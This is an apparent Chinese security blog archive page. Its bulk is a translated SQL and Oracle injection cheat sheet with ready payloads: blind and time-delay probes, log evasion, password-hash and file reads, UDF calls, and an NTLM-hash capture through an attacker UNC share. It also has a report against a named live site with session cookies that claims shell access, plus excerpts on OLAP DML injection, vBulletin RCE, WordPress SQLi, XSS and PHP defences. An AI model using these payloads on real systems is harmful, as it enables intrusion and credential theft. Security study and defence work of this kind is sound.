月度归档:2015年08月

SQL注入速查表(下)与Oracle注入速查表

0×00 目录
 
盲注
关于盲注
实战中的盲注实例
延时盲注
WAITFOR DELAY [time](S)
实例
BENCHMARK()(M)
实例
pg_sleep(seconds)(P)
掩盖痕迹
-sp_password log bypass(S)
注入测试
一些其他的MySQL笔记
MySQL中好用的函数
SQL注入的高级使用
强制SQL Server来得到NTLM哈希
Bulk insert UNC共享文件 (S)
0×01 盲注
 
关于盲注
 
一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的
 
一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果
 
完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。
 
在一般盲注下你能够使用If语句或者**WHERE查询注入 ***|(一般来说比较简单)*,在完全盲注下你需要使用一些延时函数并分析响应时间。为此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧。
 
实战中的盲注实例
 
以下的输出来自一个真实的私人盲注工具在测试一个SQL Server后端应用并且遍历表名这些请求完成了第一个表的第一个字符。由于是自动化攻击,SQL查询比实际需求稍微复杂一点。其中我们使用了二分搜索来探测字符的ASCII码。
 
TRUE和FALSE标志代表了查询返回了true或false
 
  TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--     FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--     TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)     FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--     TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)     FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--     TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)     FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--       FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

 

由于上面后两个查询都是false,我们能清楚的知道表名的第一个字符的ASCII码是80,也就是"P"。这就是我们通过二分算法来进行盲注的方法。其他已知的方法是一位一位(bit by bit)地读取数据。这些方法在不同条件下都很有效。
 
延时盲注
 
首先,只在完全没有提示(really blind)的情况下使用,否则请使用1/0方式通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时(timeout)。
 
WAITFOR DELAY time
 
这就跟sleep差不多,等待特定的时间。通过CPU来让数据库进行等待。
 
WAITFOR DELAY '0:0:10'–
你也可以这样用
 
WAITFOR DELAY '0:0:0.51'
实例
 
俺是sa吗? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'–
ProductID =1);waitfor delay '0:0:10'–
ProductID =1';waitfor delay '0:0:10'–
ProductID =1');waitfor delay '0:0:10'–
ProductID =1));waitfor delay '0:0:10'–
ProductID =1'));waitfor delay '0:0:10'–
BENCHMARK()(M)
 
一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。
 
BENCHMARK(howmanytimes, do this)
实例
 
俺是root吗?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
 
判断表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
 
pg_sleep(seconds)(P)
 
睡眠指定秒数。
 
SELECT pg_sleep(10);睡个十秒
掩盖痕迹
 
-sp_password log bypass(S)
 
出于安全原因,SQL Server不会把含有这一选项的查询日志记录进日志中(!)。所以如果你在查询中添加了这一选项,你的查询就不会出现在数据库日志中,当然,服务器日志还是会有的,所以如果可以的话你可以尝试使用POST方法。
 
0×02 注入测试
 
这些测试既简单又清晰,适用于盲注和悄悄地搞。
 
product.asp?id=4 (SMO)
 
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
 
product.asp?name=Bo’%2b’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x
0×03 一些其他的MySQL笔记
 
子查询只能在MySQL4.1+使用
用户
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT … INTO DUMPFILE
把查询写入一个新文件中(不能修改已有文件)
UDF功能
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
admin密码哈希的第一位
 
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
文件读取
 
query.php?user=1+union+select+load_file(0×63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL读取文件内容
 
默认这个功能是没开启的!
 
create table foo( line blob ); 
load data infile 'c:/boot.ini' into table foo; 
select * from foo;
MySQL里的各种延时
 
select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0×414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
 
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
 
遍历数据,暴力猜解
select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );
MySQL中好用的函数
 
MD5()
 
MD5哈希
 
SHA1()
 
SHA1哈希
 
PASSWORD()
 
ENCODE()
 
COMPRESS()
 
压缩数据,在盲注时读取大量数据很好用
 
ROW_COUNT()
 
SCHEMA()
 
VERSION()
 
跟@@version是一样的
 
SQL注入的高级使用
 
一般来说你在某个地方进行SQL注入并期望它没有过滤非法操作,而这则是一般人注意不到的层面(hidden layer problem)
 
Name:' + (SELECT TOP 1 password FROM users ) + '
 
Email : xx@xx.com
如果应用在name表格中使用了不安全的储存方法或步骤,之后它就会把第一个用户的密码写进你的name里面。
 
强制SQL Server来得到NTLM哈希
 
这个攻击能够帮助你得到目标SQL服务器的Windows密码,不过你的连接很可能会被防火墙拦截。这能作为一个很有用的入侵测试。我们强制SQL服务器连接我们的WindowsUNC共享并通过抓包软件(Cain & Abel)捕捉NTLM session。
 
Bulk insert UNC共享文件 (S)
 
bulk insert foo from ' YOURIPADDRESS C$ x.txt'
 
二、Oracle注入速查表
 
本文由Yinzo翻译,转载请保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
 
注:下面的一部分查询只能由admin执行,我会在查询的末尾以"-priv"标注。
 
探测版本:
 
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;  
SELECT version FROM v$instance;
注释:
 
SELECT 1 FROM dual — comment
注: Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’
 
当前用户:
 
SELECT user FROM dual
列出所有用户:
 
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
列出密码哈希:
 
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus能够在acct被锁定的状态下给你反馈
SELECT name,spare4 FROM sys.user$ — priv, 11g
密码破解
 
checkpwd能够把Oracle8,9,10的基于DES的哈希破解掉
 
列出权限:
 
SELECT * FROM session_privs; —当前用户的权限
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用户的权限
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到拥有某个权限的用户
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
列出DBA账户:
 
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和对应权限
当前数据库:
 
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
列出数据库:
 
SELECT DISTINCT owner FROM all_tables; — 列出数据库 (一个用户一个)
– 通过查询TNS监听程序能够查询到其他数据库.详情看tnscmd。
 
列出字段名:
 
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
列出表名:
 
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
通过字段名找到对应表:
 
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;  
— 注: 表名都是大写
 
查询第N行:
 
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
查询第N个字符:
 
SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三个字符‘c’
按位与(Bitwise AND):
 
SELECT bitand(6,2) FROM dual; — 返回2
SELECT bitand(6,1) FROM dual; — 返回0
ASCII值转字符:
 
SELECT chr(65) FROM dual; — 返回A
字符转ASCII码:
 
SELECT ascii(‘A’) FROM dual; — 返回65
类型转换:
 
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
拼接字符:
 
SELECT ‘A’ || ‘B’ FROM dual; — 返回AB
IF语句:
 
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; 
— 跟SELECT语句在一起时不太管用
 
Case语句:
 
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2
绕过引号:
 
SELECT chr(65) || chr(66) FROM dual; — 返回AB
延时:
 
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果发送TCP包被拦截或者很慢
— 更多关于延时的内容请看Heavy Queries
 
发送DNS请求:
 
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
命令执行:
 
如果目标机装了JAVA就能执行命令,看这里
 
有时候ExtProc也可以,不过我一般都成功不了,看这里
 
本地文件读取:
 
UTL_FILE有时候能用。如果下面的语句没有返回null就行。
 
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
JAVA能用来读取和写入文件,除了Oracle Express
 
主机名称、IP地址:
 
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — 查IP
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主机名称
定位DB文件:
 
SELECT name FROM V$DATAFILE;
默认系统和数据库:
 
SYSTEM
SYSAUX
额外小贴士:
 
一个字符串列出所有表名:
 
select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables 
– 当你union联查注入的时候只有一行能用与返回数据时使用
 
盲注排序:
 
order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end 
— 你必须知道两个拥有相同数据类型的字段名才能用
 
译者注: Oracle注入速查表的作者这边还有MSSQL、MySQL、PostgreSQL、Ingres、DB2、Informix等数据库的速查表,不过我看Drops里面MSSQL和MySQL都已经有比较好的文章了,所以如果有需求的话请在评论留言。

一种新型的OLAP DML注入攻击

对于使用了DBMS_AW、OLAP_TABLE或任何OLAP*函数的Oracle OLAP应用程序来说,都将面临着一种新型的注入威胁。归根结底,这是由于SQL和OLAP DML之间的语法差异所导致的。最终结果就是,攻击者可以利用这一点,以较高的权限来执行任意的SQL操作。

0×01 导言

联机分析处理(OLAP)通常用来查询多维数据。在Oracle中,可以创建分析工作区(Analytic Workspace)来存储待分析的数据、计算公式和模型等计算对象以及执行分析的各种程序。这里的计算对象及程序都是使用OLAP DML编写的。需要注意的是,OLAP DML不同于SQL,因为它们具有不同的语法。

举例来说,在SQL中,–用于单行注释,/**/用于多行注释。而OLAP DML中的注释则是用双引号"来表示。一个分号(;)可以用于分隔单行上的各个OLAP DML命令,而一条命令被拆分为两行的时候,则使用单个减号作为续行符。

OLAP DML可以从SQL中执行,但是需要借助于接收OLAP DML的接口。这包括DBMS_AWPL/SQL包、OLAP_TABLE函数以及其他OLAP函数(比如OLAP_CONDITION和OLAP_EXPRESSION)。

另外,还有许多OLAP DML命令和函数以及一些SQL命令系列也可以从OLAP DML来执行。

0×02 OLAP DML注入攻击

本文介绍的新型注入攻击,主要出现在用户的输入被传递给OLAP函数或DBMS_AW包的时候。即使该输入对于SQL来说是合法的,甚至使用的是约束变量,这种风险依然存在。基本上,攻击者可以将任意SQL语句嵌入到一条OLAP DML语句中,并以较高的权限执行之。

下面给出一个实际例子。DROP_AW_ELIST_ALL是Oracle提供的一个存储过程,相应代码如下所示:

在这里我们可以看到,DBMS_ASSERT是用来确保在"MYSCHEMA"和"AWNAME"这两个用户提供的参数中没有嵌入式的SQL的。一旦通过了验证,它们就会被传递给存储过程DBMS_AW.EXECUTE,并执行OLAP DML命令"AW ATTACH"。

但是我们仍然能够向这个调用中“夹带”进任意的OLAP DML命令,方法是用双引号括住一个伪造的AWNAME,并在分号后面加上另外的命令。在下面的例子中,我们执行OLAP DML命令SQL PROCEDURE的时候,会顺带执行一个PL/SQL的存储过程,就本例来说就是DBMS_OUTPUT.PUT_LINE。

请注意上面输出中的SYS。

另外的一个实例是在DBMS_AW.AW_ATTACH这个存储过程中发现的。实际上,DBMS_AW的大多数存储过程和函数都有此安全漏洞。DBMS_AW.AW_ATTACH在取得AW名称后,会将其传递给GEN_DBNAME()。GEN_DBNAME()函数会利用DBMS_ASSERT.QUALIFIED_SQL_NAME()对这个AW名称进行检查,以验证输入的合法性。

同样,这里攻击者也能夹带任意OLAP DML,并从这里执行SQL。

在上面的攻击中,通过使用双引号,攻击者就可以绕过DBMS_ASSERT.QUALIFIED_SQL_NAME的输入验证了。不要忘了,OLAP DML也会看到这个双引号,并将其视为一个注释符。然后,攻击者可以提供一个连字符,这样就能够将OLAP DML命令AW ATTACH分为两行。再后面是一个分号,这样攻击者就能够执行其后的OLAP DML命令(在本例中就是调用SQL PROCEDURE)了,然后以双引号结束。这样一来,用户的输入不但绕过了DBMS_ASSERT.QUALIFIED_SQL_NAME,OLAPDML还会将其视为一个注释符号。

当处理OLAP_TABLE函数时,如果有任何用户输入被传递给了第三个参数,其本来就是要接收一个OLAP DML命令,或者是传递给了第四个参数LIMIT_MAP,那么攻击者就能够执行任意的OLAP DML了。

下面我们以一个专门设计的例子来进行说明。下面中的前几行代码,只是为展示这个安全问题而做了一些简单的设置工作:

在这里,我们想在视图中使用OLAP_TABLE,并从一个名为XLNAME的分析工作区变量中读入LIMIT_MAP。即使用户没有写AW的权限,他们仍然能够修改自己私有的副本。这个私有的副本可以用于AW对象的访问。因此,如果用户DAVID连接并发送下列内容,他就能够重写XLNAME,从而直接影响OLAP_TABLE的参数LIMIT_MAP。利用关键字PREDMLCMD,DAVID就可以执行任意的OLAP DML命令了。

需要注意的是,上面SYS_CONTEXT('USERENV','CURRENT_USER')函数的输出为DAVID。这表明,OLAP DML及其后来的SQL命令都是以当前用户的身份来执行的,而不是以该视图的属主的身份来执行的。为了利用这一点来获得更高的权限,用户DAVID需要将这个视图传递给一个具有定义者权限的PL/SQL包或能够操作任意数据表的存储过程。实际的例子有很多,但是为了便于说明,我们专门设计的例子涉及¬SELECT_FROM_TABLE,这里存储过程的属主为SYS:

0×03 小结

如果开发人员在PL/SQL包中使用了DBMS_AW,存储过程或函数使用了定义者权限,并且用户的输入被传递给DBMS_AW,那么,即使输入内容通过了SQL级别的验证,或者即使使用了约束变量,攻击者仍然能够执行任意OLAP DML命令,并且是以PL/SQL包属主的身份从任意的SQL中执行。同样的,如果开发人员在用到定义者权限的PL/SQL包中使用了OLAP_TABLE或任何其他OLAP函数,那么攻击者就可以利用用户输入来发动类似的攻击。如果OLAP_TABLE被用于视图中,并且该视图可以像上面例子中那样允许随后加以处理,同时可以通过PL/SQL包来访问该视图的话,那么同样也会遭受类似的注入攻击。

OLAP应用程序的开发人员必须对所有的用户输入进行仔细检查,以确保用户输入中没有“夹带”任何OLAP DML命令。为此,通常需要拒绝任何含有连字符、双引号或分号的内容,当然,这还要考虑到具体应用程序的特殊情况。
 

Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法。

XSS

XSS 攻击,全称是“ 跨站点脚本攻击 ”(Cross Site Scripting),之所以缩写为 XSS,主要是为了和“层叠样式表”(Cascading Style Sheets,CSS)区别开,以免混淆。

继续阅读

php SQL 防注入的一些经验

产生原因

 
一方面自己没这方面的意识,有些数据没有经过严格的验证,然后直接拼接 SQL 去查询。导致漏洞产生,比如:
 
$id  = $_GET['id'];
$sql = "SELECT name FROM users WHERE id = $id";
因为没有对 $_GET['id'] 做数据类型验证,注入者可提交任何类型的数据,比如 " and 1= 1 or " 等不安全的数据。如果按照下面方式写,就安全一些。
 
$id  = intval($_GET['id']);
$sql = "SELECT name FROM users WHERE id = $id";
把 id 转换成 int 类型,就可以去掉不安全的东西。
 
验证数据
 
防止注入的第一步就是验证数据,可以根据相应类型进行严格的验证。比如 int 类型直接同过 intval 进行转换就行:
 
$id =intval( $_GET['id']);
字符处理起来比较复杂些,首先通过 sprintf 函数格式话输出,确保它是一个字符串。然后通过一些安全函数去掉一些不合法的字符,比如:
  $str = addslashes(sprintf("%s",$str));   //也可以用 mysqli_real_escape_string 函数替代addslashes  这样处理以后会比较安全。当然还可以进一步去判断字符串长度,去防止「缓冲区溢出攻击」比如:    $str = addslashes(sprintf("%s",$str));   $str = substr($str,0,40); //最大长度为40

 

 
参数化绑定
 
参数化绑定,防止 SQL 注入的又一道屏障。php MySQLi 和 PDO 均提供这样的功能。比如 MySQLi 可以这样去查询:
 
  $mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');  $stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");  $code = 'DEU';  $language = 'Bavarian';  $official = "F";  $percent = 11.2;  $stmt->bind_param('sssd', $code, $language, $official, $percent);

 

继续阅读

多打电话某系统SQL注入漏洞19个库DBA权限可充值(已Getshell+3389)

多打电话某系统SQL注入漏洞19个库DBA权限可充值(已Getshell+3389)

  POST /do/showfrees.php HTTP/1.1  Content-Length: 49  Content-Type: application/x-www-form-urlencoded  Referer: http://log.iddsms.com:80/  Cookie: PHPSESSID=0qvtojevmi3q6u8eik14p9hk45; phpMyAdmin=bs8fod59n8t6hruc96r7hlpnaq3rk4k9;     pma_lang=en; pma_collation_connection=utf8_general_ci; pma_mcrypt_iv=1qvTC%2Fd4Ngg%3D  Host: log.iddsms.com  Connection: Keep-alive  Accept-Encoding: gzip,deflate  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)     Chrome/41.0.2228.0 Safari/537.21  Accept: */*    sButton2=%c9%b8%d1%a1&number=1&searchAction=1

参数:number
 

继续阅读

空指针漏洞防护技术――提高篇

 在《 空指针漏洞防护技术-初级篇 》中我们介绍了空指针及空指针漏洞的概念,在这次高级篇中介绍空指针利用及相应的防护机制。
作者:孙建坡

目录

1 提高篇:空指针利用
1.1 ZwAllocateVirtualMemory基本介绍
1.2 ZwAllocateVirtualMemory函数知识
1.3 零页内存分配之实例win7 vs win8
2 提高篇:windows零页内存防护机制
2.1 搭建内核调试环境
2.1.1 虚拟机及调试环境
2.1.2 配置启动windbg
2.2 用户态及内核态跨栈调试
2.2.1 内核调试用户态程序
2.2.2 用户态进入内核态
2.3 逆向分析nt!NtAllocateVirtualMemory
2.3.1 NtAllocatevirtualMemory参数确认
2.3.2 查找NtAllocatevirtualMemory 零页内存安全机制
2.3.3 确认NtAllocatevirtualMemory零页内存安全机制
2.3.4 查找内核中其他对零页内存保护的函数
3 总结

1 提高篇之:空指针的利用

前面主要介绍了空指针的一些概念和相关的知识,了解了什么是空指针,对于由野指针导致的空指针漏洞不是今天的重点。接下来主要就针对指向零页内存的空指针漏洞做详细的介绍。
此类漏洞利用主要集中在两种方式上:
利用NULL指针。 利用零页内存分配可用内存空间

对于第一种情况可以利用NULL指针来绕过条件判断或是安全认证。比如X.0rg空指针引用拒绝访问漏洞(CVE-2008-0153 ),如下图对比修改补丁前后的对比:

继续阅读

vBulletin rce 0day分析

vBulletin是国外领先的论坛程序,国内一般称其为VBB,基于PHP+mySQL开发.vBulletin是商业软件,需付费使用。
vBulletin允许通过URL远程上传文件,但对URL并没有作严格的过滤,导致SSRF漏洞的产生。加上许多vBulletin网站同时将vBulletin的Memcached与WEB服务器安装在一起,结合SSRF将导致漏洞变为命令执行。

0×01 漏洞分析

首先讲下vBulletin的plugin(hook)执行方式,vBulletin将plugin的信息(包括代码)存储在数据库,程序运行时临时从数据库读取代码执行,可以理解成将include 'pluginname.php'变成eval(getCodeFromDB('pluginname'))。在Memcache开启的情况下,vBulletin会将plugin的代码缓存在Memcached里来增加读取速度。

我们都知道访问Memcached是不需要密码的,这样一来如果Memcached的访问端口暴露在公网,我们就修改vBulletin在Memcached中的plugin代码为恶意代码,这导致的后果将不堪设想。

vBulletin官网上的建议是Memcached不要和vBulletin安装在同台服务器,但许多站长对此还是视而不见,或者仅通过将防火墙设置将Memcached端口对外禁止访问就以为解决了问题。

不幸的是,vBulletin中存在SSRF漏洞,攻击者可以将存在漏洞的文件当作代理来向服务器上的Memcached发起本地请求。

Memcached未授权访问

我们首先看下Memcached的未授权访问是如何导致vBulletin命令执行的。

通过关键字查找,发现语句vBulletinHook::set_pluginlist($vbulletin->pluginlist),找到set_pluginlist的声明在文件./includes/class_hook.php中,根据注释内容:

  // to call a hook:  //  require_once(DIR . '/includes/class_hook.php');  //  ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;

得知,plugin的调用方式为($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;,功能是获取plugin的代码并执行。

我们选用出现频率较高的global_start的代码,对应的语句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;,这句话在./global.php文件里,所以包含./global.php的页面都将包含我们的恶意代码。

接下来访问Memcached服务器看下pluginlist项的数据
$ telnet 172.16.80.156 11211
Trying 172.16.80.156…
Connected to 172.16.80.156.
Escape character is '^]'.
get pluginlist
…(序列化后的数组)
END
quit

获取pluginlist的数据将返回序列化后的pluginlist数组。 相关代码在./includes/class_hook.php类函数build_datastore中。

继续阅读

WordPress SQL注入漏洞与提权分析

 

威胁响应中心研究员对Wordpress核心功能SQL注入漏洞(编号为CVE-2015-5623和CVE-2015-2213)进行了详细的分析
 
0×00 漏洞概述
 
在twitter上看到Wordpress核心功能出现SQL注入漏洞,想学习下,就深入的跟了下代码,结果发现老外留了好大的一个坑。虽然确实存在注入问题,但是却没有像他blog中所说的那样可以通过订阅者这样的低权限来触发SQL注入漏洞。
 
这个Wordpress漏洞系列的文章目前更新了两个部分,一个是通过权限绕过实现订阅者权限写一篇文章到回收站,另一个就是通过写入的这篇文章来实现SQL注入漏洞。这两个漏洞的描述,TSRC的phithon写的文章其实已经很清楚了,我这里从我分析的角度来介绍这两个漏洞的形成、利用以及phithon省略掉的原文部分内容。
 
0×01 越权提交文章
 
_wpnonce的获取
 
在讲越权漏洞之前,我们需要介绍一下Wordpress后台的_wpnonce参数,这个参数主要是用来防止CSRF攻击的token。后台大多数敏感功能都会通过,当前用户信息、功能名称、操作对象id等内容生成token,所以我们很难在没有token的时候进行某些功能的使用。这个CSRF的防护机制间接地导致之后SQL注入很难再低权限情况下触发(因为看不到token),后面讲SQL注入漏洞时,我们会详细的聊这个问题有多坑。
 
之所以要把_wpnonce的获取放在前面讲,是因为,我们需要一个让我们可以使用编辑提交文章功能的token。这个功能的token我们可以通过访问后台post.php的post-quickdraft-save功能来获取,严格的来说这个获取方式也算是一个信息泄露漏洞,官方也在新版本中进行了修补。下面我我们来看下这个token泄露的原因。部分代码如下:
  case 'post-quickdraft-save':      // Check nonce and capabilities      $nonce = $_REQUEST['_wpnonce'];      $error_msg = false;        // For output of the quickdraft dashboard widget      require_once ABSPATH . 'wp-admin/includes/dashboard.php';        if ( ! wp_verify_nonce( $nonce, 'add-post' ) )          $error_msg = __( 'Unable to submit this form, please refresh and try again.' );        if ( ! current_user_can( 'edit_posts' ) )          $error_msg = __( 'Oops, you don’t have access to add new drafts.' );        if ( $error_msg )          return wp_dashboard_quick_press( $error_msg );

 

继续阅读

空指针漏洞防护技术――初级篇

 安全历史上由于空指针所带来的漏洞及攻击数不胜数,但由于其对利用者的编程能力有要求,对分析及防护者来说有更高的要求,所以国内对空指针漏洞及相关技术的讨论不是很多。今天这篇《空指针漏洞防护技术》,由绿盟科技威胁响应安全专家坐堂讲解,大家可以从中了解空指针漏洞的基础知识,并结合Windows 8的内存防护机制实例,动手实践空指针漏洞的防护技术。
作者:孙建坡

目录

1 背景
2空指针引发的漏洞
3 基础篇:空指针验证方式
3.1 概念性验证
3.1.1 内存管理之空指针
3.1.2 知识拓展之野指针
3.2 源码级验证
3.2.1 指针使用前期对比
3.2.2 指针使用后期对比
3.3 可视化内存验证
3.4空指针 漏洞

1 背景

指针对于绝大部分的编程人员来说都不陌生,说起C/C++中指针的使用既带来了编程方面的方便;同时对编程人员来说,也是对个人编程能力的一种考验,不正确的使用指针会直接导致程序崩溃,而如果是内核代码中对指针的错误使用,会导致系统崩溃,后果也是相当严重。
一般情况下我们使用指针时,错误用法集中在三个方面:
由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露 野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。 Null Pointer 空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。

对于第一和第二种情况,我们可以通过一些代码审计工具在发布之前就能确定导致内存泄露或是野指针存在的地方。比如常见的工具有fority,valgrind等及时发现指针错误引用导致的问题。

对于第三种情况,空指针(Null Pointer)引用导致的错误,依靠代码审计工具很难发现其中的错误,因为空指针的引用一般不会发生在出现空指针然后直接使用空指针情况。往往是由于代码逻辑比较复杂空指针引用的位置会比较远,不容易发现;并且在正常情况下不会触发,只有在特定输入条件下才会引发空指针引用。对于排查此类错误也就更加困难。

继续阅读